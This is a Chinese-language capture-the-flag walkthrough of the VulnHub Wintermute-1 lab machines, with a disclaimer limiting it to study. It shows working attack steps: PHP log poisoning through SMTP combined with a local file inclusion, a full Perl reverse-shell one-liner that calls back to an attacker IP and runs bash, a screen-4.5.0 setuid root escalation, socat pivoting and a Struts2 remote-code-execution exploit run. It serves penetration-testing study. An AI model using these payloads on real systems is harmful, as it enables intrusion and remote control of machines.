本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现
地址:https://www.vulnhub.com/entry/wintermute-1,239/
此次靶机有两个,他们是相辅相成的,按照顺序是要先搞straylingth
sudo nmap -sS -sV -sC -T5 -A -p- 192.168.56.103 -o straylingth.nmap
nmap扫描结果
开放了25,80,3000这三个端口,我们先看看80端口
上述访问完成没几秒钟就跳到一个黑屏然后不断的出现英文,像是两个人在对话
上面没啥大意义,那么我们就直接爆破目录了,这里换个爆破工具玩玩gobuster
安装:sudo apt-get install gobuster
爆破目录:gobuster dir -u http://192.168.56.103 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt
得到两个目录,访问看看
上面没啥鸡毛东西,访问另一个看看
翻看了下,还是没啥鸡毛发现,擦啊,看看另一个3000端口
一个登陆窗口,刚好有个提示反馈默认账户和密码都是admin
成功登陆进去了,看到一个新的URI地址
访问得到如下信息:
上面每个按钮都点击了一遍,最终确认存在LFI,因为本关卡开放了25端口,猜测跟邮件相关,所以直接包含默认的邮件日志目录
开始利用邮件功能写一封邮件,带入一句话试试,看能否执行
nc -nC 192.168.56.103 25
helo bmfx
mail from:"bmfx <?php echo shell_exec($_GET['bmfx']);?>"
rcpt to:root
data
.
通过查看网页源码获取执行结果
成功执行命令,那么这里就可以反弹shell了
perl 反弹shell代码
perl -e 'use Socket;$i="192.168.56.101";$p=8833;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
将上述代码进行URL编码之后然后在浏览器上执行
浏览器访问触发反弹shell
成功反弹shell,并升级会tty-shell
通过find命令查找setuid特权文件
这里两个执行效果一样
find / -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
发现了screen-4.5.0存在setuid权限,搜索下对应的exploit
https://www.exploit-db.com/exploits/41154
根据上述exploit内容大概意思是创建两个文件,编译,然后执行shell,我这里手动操作一把
按照要求创建C代码
编译此C代码
创建特权shell的C代码
编译此C代码
上述两大步骤完成之后直接按照exploit提示操作, 可以直接提权
成功提权拿到root权限
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
根据上面提权之后获得的信息,还有一个靶机是Wintermute-Neuromancer 我这里的网络配置的是同一个仅主机的网段,没有按照作者的意思设置两个网段,然后通过端口转发来完成,不过我们为了学习知识点,把端口转发的命令写下
首先是使用nmap扫描下
知道了开放端口,按照作者意思是要端口转发到外面去然后开始正常的测试,端口转发命令如下:
socat TCP-LISTEN:8009,fork,reuseaddr TCP:192.168.56.105:8009 &
socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.56.105:8080 &
socat TCP-LISTEN:34483,fork,reuseaddr TCP:192.168.56.105:34483 &
我们当做端口转发成功,直接访问目标
翻了一下,没找到有用的信息,想到上一靶机目标提权成功后给出的信息,那么我们直接访问给出的URI试试
上述给出的URI含有Struts,经典的Struts漏洞太多了,我们搜索谷歌
https://www.exploit-db.com/exploits/42324 远程代码执行漏洞 ,玩Struts漏洞真爽,直接远程搞,我这里的环境是可以直接反弹到kali中,但是作者意思是不能正常访问外部kali,期间需要做端口转发才可以,方式跟上面使用socat转发一样,只是反向了
本目标靶机是利用Struts远程代码执行漏洞,范例:python 42324.py http://192.168.56.105:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "id" 其他就不演示了,远程代码执行简单好用
迷茫的人生,需要不断努力,才能看清远方模糊的志向!